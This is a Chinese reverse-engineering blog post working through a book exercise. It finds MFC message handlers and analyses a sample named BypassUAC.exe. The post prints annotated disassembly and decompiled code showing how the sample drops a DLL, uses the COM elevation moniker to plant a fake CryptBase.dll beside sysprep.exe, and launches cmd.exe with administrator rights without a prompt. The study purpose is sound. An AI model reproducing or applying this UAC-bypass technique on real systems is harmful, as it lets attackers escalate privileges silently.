转载请注明出处http://blog.csdn.net/wuyangbotianshi
注:下面文章中谈到的作者都是《黑客免杀攻防》的作者,并不是本文的作者。
由于之前的C++逆向知识比较简单,所以第9章就只记录两个实验,一个就是这个初探MFC实验,另外一个就是探索C++的菱形继承。
1.MFC基础
逆向具有MFC框架的程序并不一定要跟踪MFC框架代码,是否需要这样做取决于逆向的目的。如果我们逆向的内容是与MFC框架本身有关的,那就需要逆向MFC,否则只需要关心其对应的消息响应函数即可。实验用的这个例子就是一个按钮触发的接下来的程序,所以只需要关心单击这个按钮之后的执行的代码就可以了。
下面是本书的作者的总结。作者总结出在程序使用MFC静态或动态库时所具有的调用特征,如下表所示:
版本 |
对应动态库 |
静态库特征 |
动态库特征 |
4.0 |
mfc40.dll |
call [ebp+0x14] |
call [ebp+0x14] |
6.0 |
mfc42.dll |
call [ebp+0x14] |
call [ebp+0x14] |
7.1 |
mfc71.dll |
call [ebp+0x14] |
call [ebp+0x14] |
10.0 |
mfc100.dll |
call [ebp+0x14] |
mov edx ,[ebp+0x14] |
知道了这些特征之后,那就很容易找到找到相应的关键函数了。主要分为以下几步:
(1)判断目标程序是否是MFC程序,若是则判断版本
以本例中的程序为例,加载到OD中,打开模块窗口,如下所示:
可以看到在所有的加载模块中并没有找到相应的MFC动态加载库文件,所以这个程序可能是静态调用MFC框架或者根本不是MFC程序。
(2)根据目标程序调用的不同MFC方式及版本使用不同的方式搜索特征。
若是动态使用MFC则双击相应的mfc文件然后搜索相关指令,否则在代码起始处搜索。这里采用后者,搜索结果如下图所示:
本书作者说搜索到的指令是在消息分发函数中,因此必然会根据不同的消息来调用不同的处理函数,所以就应该是一个巨大的switch结构,根据
这条指令很明显看得出跳转到switch结构的跳转表,所以这里刚好这里就是switch结构,否则就需要按Ctrl+L查找下一个特征所在位置,直到找到为止,否则这个程序就没有使用MFC框架。
(3)在合适的位置下断点然后进入相应的消息处理函数
接着就是需要跟进到消息处理函数中分析其中的代码。书上说单击按钮的值是“0x39”,但是我还是没有找到这个值在哪里定义的,先跟进去吧。所以直接在处理函数的入口处下断电。如果需要寻找其他消息的处理函数,只需要跳转到switch的跳转表那条语句下断点即刻,因为所有的消息处理都会用到那条语句,然后再逐个函数分析。
下面具体来分析BypassUAC.exe,这个程序用来突破系统的UAC直接以管理员权限运行cmd.exe程序。
2.实战BypassUAC.exe
根据上面下的断点,直接运行到断点处,跟进处理函数,发现是如下代码:
看到这个函数只调用了两个函数,分别获取当前模块的句柄,然后调用RemoteLoadDllByResource函数,顾名思义,这个函数就是从当前模块的资源中读取一个dll文件然后远程加载。而通过查阅函数的资料可以知道,参数explorer.exe则是远程加载dll文件的宿主名,SHELL_CODE则是资源名。我们接下来用LoadPE打开该exe文件如下图所示:
这是该exe文件的资源目录,可以看到SEHLL_CODE正是一个资源,将其dump并另存为一个dll文件:
这里另存为的文件名为stub.dll,说明SEHLL_CODE中的内容确实是一个dll文件。所以关键的代码就在这个dll文件中,下面使用IDA对其分析。
初看这个结构并不是十分复杂,有大量的if-else判断语句,几乎都是线性结构,下面再来仔细看其中的代码。
.text:10001000 ; BOOL __stdcallDllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
.text:10001000 _DllMain@12 proc near ; CODE XREF:
.text:10001000 ;___DllMainCRTStartup+89p
.text:10001000 NumberOfBytesWritten= dwordptr -828h
.text:10001000 PathName = word ptr -824h
.text:10001000 Dst = byte ptr -822h
.text:10001000 var_61C = word ptr -61Ch
.text:10001000 var_61A = byte ptr -61Ah
.text:10001000 Src = word ptr -414h
.text:10001000 var_412 = byte ptr -412h
.text:10001000 FileName = word ptr -20Ch
.text:10001000 var_20A = byte ptr -20Ah
.text:10001000 var_4 = dword ptr -4
.text:10001000 hModule = dword ptr 8
.text:10001000 fdwReason = dword ptr 0Ch
.text:10001000 lpvReserved = dword ptr 10h
;以上是一些变量的声明,通过上面的代码可以了解到函数的栈结构
.text:10001000 push ebp
.text:10001001 mov ebp, esp
.text:10001003 sub esp, 828h
…… …… ………… …… …….
.text:10001022 push offset Type ; "BIN_DLL"
.text:10001027 push 65h ; lpName
.text:10001029 push edi ; hModule
.text:1000102A call ds:FindResourceW
.text:10001030 mov esi, eax
.text:10001032 test esi, esi
.text:10001034 jz loc_100011E6
;上面的函数暴露了这个代码的意图,从资源处找到名为"BIN_DLL"的资源并且还进行了返回值判断,如果没有找到直接结束整个函数,loc_100011E6正是函数结尾附近。
.text:1000103A push esi ; hResInfo
.text:1000103B push edi ; hModule
.text:1000103C call ds:LoadResource ;加载资源
.text:10001042 test eax, eax
.text:10001044 jz loc_100011E6 ;同样指向函数结尾
.text:1000104A push ebx
.text:1000104B push eax ; hResData
.text:1000104C call ds:LockResource;检索指定资源的指针
.text:10001052 mov ebx, eax
.text:10001054 test ebx, ebx
.text:10001056 jz loc_100011E5
.text:1000105C push esi ; hResInfo
.text:1000105D push edi ; hModule
.text:1000105E call ds:SizeofResource;资源大小
.text:10001064 mov edi, eax
.text:10001066 test edi, edi
.text:10001068 jz loc_100011E5
.text:1000106E xor eax, eax
;上面的代码均是为了获得资源而做的一系列API调用,不过很疑惑这里看上去都没有保存函数的返回值到栈,但是调用函数仅仅是为了判断而不使用辛苦找到的资源吗?下面就来看看怎么回事。
.text:10001070 push 206h ; Size
.text:10001075 push eax ; Val
.text:10001076 lea ecx, [ebp+Dst]
.text:1000107C push ecx ; Dst
.text:1000107D mov [ebp+NumberOfBytesWritten], 0
.text:10001087 mov [ebp+PathName], ax
.text:1000108E call memset ;将Dst清零
.text:10001093 xor edx, edx
.text:10001095 push 206h ; Size
.text:1000109A push edx ; Val
.text:1000109B lea eax, [ebp+var_20A]
.text:100010A1 push eax ; Dst
.text:100010A2 mov [ebp+FileName], dx
.text:100010A9 call memset;将var_20A清零
.text:100010AE add esp, 18h
.text:100010B1 lea ecx, [ebp+PathName]
.text:100010B7 push ecx ; lpBuffer
.text:100010B8 push 104h ; nBufferLength
.text:100010BD call ds:GetTempPathW;注意这个函数
.text:100010C3 test eax, eax
.text:100010C5 jz loc_100011E5
;这里调用了GetTempPathW函数,书上说这个函数是病毒或木马常用的函数,用于获取系统的临时文件夹目录,接下来的代码基本上就是构造一个随机的临时文件名,并将那些读取出来的资源写入到新的dll文件并保存到临时文件夹里
.text:100010CB lea edx, [ebp+FileName]
.text:100010D1 push edx ; lpTempFileName
.text:100010D2 push 0 ; uUnique
.text:100010D4 push offset PrefixString ; "A1_"
.text:100010D9 lea eax, [ebp+PathName]
.text:100010DF push eax ; lpPathName
.text:100010E0 call ds:GetTempFileNameW;获取临时文件名,以"A1_"开头
.text:100010E6 test eax, eax
.text:100010E8 jz loc_100011E5
.text:100010EE push 0 ; hTemplateFile
.text:100010F0 push 80h ; dwFlagsAndAttributes
.text:100010F5 push 2 ; dwCreationDisposition
.text:100010F7 push 0 ; lpSecurityAttributes
.text:100010F9 push 0 ; dwShareMode
.text:100010FB push 40000000h ; dwDesiredAccess
.text:10001100 lea ecx, [ebp+FileName]
.text:10001106 push ecx ; lpFileName
.text:10001107 call ds:CreateFileW;根据创建的文件名新建一个文件
.text:1000110D mov esi, eax
.text:1000110F cmp esi, 0FFFFFFFFh
.text:10001112 jz loc_100011E5
.text:10001118 push 0 ; lpOverlapped
.text:1000111A lea edx, [ebp+NumberOfBytesWritten]
.text:10001120 push edx ; lpNumberOfBytesWritten
.text:10001121 push edi ; nNumberOfBytesToWrite
.text:10001122 push ebx ; lpBuffer
.text:10001123 push esi ; hFile
.text:10001124 call ds:WriteFile;写入文件
.text:1000112A test eax, eax
.text:1000112C jz loc_100011E5
.text:10001132 push esi ; hObject
.text:10001133 call ds:CloseHandle;关闭句柄
.text:10001139 xor eax, eax
;至此这个临时新文件已经被写入到系统的临时目录里面去了
.text:1000113B push 206h ; Size
.text:10001140 push eax ; Val
.text:10001141 lea ecx, [ebp+var_412]
.text:10001147 push ecx ; Dst
.text:10001148 mov [ebp+Src], ax
.text:1000114F call memset ;var_412清零
.text:10001154 xor edx, edx
.text:10001156 push 206h ; Size
.text:1000115B push edx ; Val
.text:1000115C lea eax, [ebp+var_61A]
.text:10001162 push eax ; Dst
.text:10001163 mov [ebp+var_61C], dx
.text:1000116A call memset;var_61A清零
.text:1000116F add esp, 18h
.text:10001172 push 104h ; uSize
.text:10001177 lea ecx, [ebp+Src]
.text:1000117D push ecx ; lpBuffer
.text:1000117E call ds:GetSystemDirectoryW;获取系统目录
.text:10001184 test eax, eax
.text:10001186 jz short loc_100011D8
.text:10001188 push 104h ; MaxCount
.text:1000118D lea edx, [ebp+Src]
.text:10001193 push edx ; Src
.text:10001194 lea eax, [ebp+var_61C]
.text:1000119A push 104h ; SizeInWords
.text:1000119F push eax ; Dst
.text:100011A0 call ds:wcsncpy_s;从Src复制字符串到var_61C
.text:100011A6 push offset Src ; "\\cmd.exe"
.text:100011AB lea ecx, [ebp+var_61C]
.text:100011B1 push 104h ; SizeInWords
.text:100011B6 push ecx ; Dst
.text:100011B7 call ds:wcscat_s;将\\cmd.exe连接到之前复制字符串后面组成全路径
.text:100011BD add esp, 1Ch
.text:100011C0 lea edx, [ebp+FileName];这里保存了临时文件的路径
.text:100011C6 push edx
.text:100011C7 lea edx, [ebp+Src] ;”\\cmd.exe”
.text:100011CD lea ecx, [ebp+var_61C];cmd.exe文件的全路径
.text:100011D3 call sub_10001200
;这里调用了函数sub_10001200,并把临时文件的路径作为参数传递了进去,同时可能cmd.exe文件的目录和全路径也被通过寄存器传进去了(这个函数可能是__fastcall调用方式)
.text:100011D8
.text:100011D8 loc_100011D8: ; CODE XREF:DllMain(x,x,x)+186j
.text:100011D8 lea eax, [ebp+FileName]
.text:100011DE push eax ; lpFileName
.text:100011DF call ds:DeleteFileW;删除临时文件
;下面的代码就是函数的收尾工作了,可以看到最终的代码应该是通过sub_10001200函数执行的,下面就跟踪进去看看,这个函数到底是做了什么
.text:100011E5
.text:100011E5 loc_100011E5: ; CODE XREF:DllMain(x,x,x)+56j
.text:100011E5 ;DllMain(x,x,x)+68j ...
.text:100011E5 pop ebx
.text:100011E6
.text:100011E6 loc_100011E6: ; CODE XREF:DllMain(x,x,x)+34j
.text:100011E6 ;DllMain(x,x,x)+44j
.text:100011E6 pop esi
…… …… …… …… …… ……
.text:100011FA retn 0Ch
.text:100011FA _DllMain@12 endp
.text:100011FA
.text:100011FA ;---------------------------------------------------------------------------
.text:100011FD align 10h
;到这里为止DllMain函数的所有代码执行完毕,下面是sub_10001200函数代码
我们从上面的代码得到了一个结论,就是DllMain函数里面的所有代码都是为了sub_10001200做准备的,所以对于sub_10001200函数我们应该更加详细的分析,这里可以使用到了IDA中集成的反编译功能,虽然说编译这个过程是不可逆的,但是IDA还是根据汇编代码的结构和内容进行了一定的反编译,虽然不能完全还原源代码,但是相对于复杂的汇编代码而言,高级语言的代码肯定看着容易多了。
char __fastcall sub_10001200(int a1, inta2, int a3)
{//这里可以看到上面的猜测和IDA的分析一样,也是__fastcall调用
int v3; int v4; char result; SHELLEXECUTEINFOWpExecInfo; int v7; int v8; int v9; int v10; void *ppv; BIND_OPTS pBindOptions; intv13; int v14; int v15; int v16;
int v17; WCHAR v18; char v19; __int16 v20; char v21; __int16 v22; char v23;
WCHAR Src; char Dst; unsigned int v26; int v27;
//上面的变量排版经过了处理,不然过于占篇幅了
v26= (unsigned int)&v27 ^ __security_cookie; v3 =a2; v4 = a1; v7 = a3; Src = 0; v22 = 0; v20 = 0; ppv= 0; v10 = 0; v8 = 0; v9 = 0; v18 = 0; v13 = 0; v15 = 0; v16 = 0; v17 = 0; v14 = 4;
//上面代码的初始化也经过了重新排版处理
memset(&Dst, 0, 0x206u);
memset(&v23, 0, 0x206u);
memset(&v21, 0, 0x206u);
memset(&v19, 0, 0x206u);
wsprintfW(&v18, L"\"%s\" \"%s\"\"\"\r\n", v4, v3);
pBindOptions.grfFlags = 0;
pBindOptions.grfMode= 0;
pBindOptions.dwTickCountDeadline = 0;
pBindOptions.cbStruct = 36;
if( GetSystemDirectoryW(&Src, 0x104u) )
//获取系统目录到src
{
wcscat_s(&Src, 0x104u, L"\\sysprep");
wcsncpy_s((wchar_t *)&v22, 0x104u, &Src, 0x104u);
wcscat_s((wchar_t *)&v22, 0x104u,L"\\sysprep.exe");
wcsncpy_s((wchar_t *)&v20, 0x104u, &Src, 0x104u);
wcscat_s((wchar_t *)&v20, 0x104u, L"\\sysprep.dll");
}
//上面的代码可归结为src=”系统目录\\ sysprep”;v22=”系统目录\\sysprep\\sysprep.exe”
//v20=”系统目录\\sysprep\\sysprep.dll”。
//这里的sysprep.exe是一个系统准备工具,可以执行系统封装或磁盘复制等操作,并且需//要用到sysprep.dll这个文件(但是我没有在系统目录里发现这个文件,甚至在windows
//目录下都没有,而是只有sysprepMCE.dll,不知是为何),但是这两个文件并不在同一目 //录下,而是在系统目录下面。所以这里可能就是用自己复制出来的dll文件替代系统的这//个dll文件。
if( CoInitialize(0)
|| CoGetObject(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}",&pBindOptions, &riid, &ppv)
|| !ppv
|| (*(int (__stdcall **)(void *, signed int))(*(_DWORD *)ppv + 20))(ppv,277086228)
|| SHCreateItemFromParsingName(v7,0, &unk_10002268, &v10)
//v7是函数的第三个参数,是之前新建的临时文件目录
|| !v10
||SHCreateItemFromParsingName(&Src, 0, &unk_10002268, &v8)
//src则是”系统目录\\ sysprep”
|| !v8
|| (*(int (__stdcall **)(void *, int, int, _DWORD, _DWORD))(*(_DWORD*)ppv + 64))(ppv, v10, v8, L"CryptBase.dll", 0)
|| (*(int(__stdcall **)(void *))(*(_DWORD *)ppv + 84))(ppv) )
//查询之后发现上面的SHCreateItemFromParsingName函数的作用是从解析路径名中创建 //并初始化一个shell对象,而CoInitialize 和CoGetObject函数则是用于COM相关操作
goto LABEL_32;
memset(&pExecInfo, 0, 0x3Cu);
pExecInfo.lpFile = (LPCWSTR)&v22;
pExecInfo.cbSize = 60;
pExecInfo.fMask = 64;
pExecInfo.lpParameters = &v18;
pExecInfo.lpDirectory = &Src;
pExecInfo.nShow = 5;
if( ShellExecuteExW(&pExecInfo)&& pExecInfo.hProcess )
// ShellExecuteExW函数就是运行外部的一个可执行文件,而结构体pExecInfo 中的IpFile //则是v22,就是sysprep.exe的全路径;而另外一个参数lpParameters则是v18就是cmd.exe //全路径,lpDirectory则是系统目录
{
WaitForSingleObject(pExecInfo.hProcess, 0xFFFFFFFFu);
CloseHandle(pExecInfo.hProcess);
}
//从这之后的代码便是清理现场,比如删除伪造的dll文件等操作
if( SHCreateItemFromParsingName(&v20, 0, &unk_10002268, &v9) || !v9 )
{
LABEL_32:
……….……………………..
return result;
}
到了这里,大概是猜到了管理员权限启动sysprep.exe的代码应该在伪造的dll文件中,后面邮件询问作者他也证实了却是如此。这里还是要感谢本书的作者任晓珲老师的耐心回复。但是由于目前水平有限,没有获得临时文件,所以无法看到其中的代码,等到了水平有所提高,再来看这个东西可能就会简单一些吧。
3.总结
至此这个逆向实验便基本完成了,通过这个实验,发现自己虽然了解一些基础知识,但是对于简单的实际情况下的逆向还是显得经验不足。作者说逆向工程更加像是查询字典,外加大胆的猜想,而不仅仅是逻辑分析能力。我才刚入门,不敢做什么评价,但是我觉得经验确实是查询资料然后总结得出来的。作者的一个比喻非常恰当,学逆向就像学英语,都是出于中游,无法掌控上下游的发展,英语的上游是巨大的词汇量,而上游则是不断丰富的新增词汇以及网络简写,逆向的上游则是各种编译器优化,下游就是程序员的编程方式是完全不可控的,所以学习逆向必须善于总结,注重积累,这样才能够有更大的进步。
转:https://blog.csdn.net/wuyangbotianshi/article/details/17462829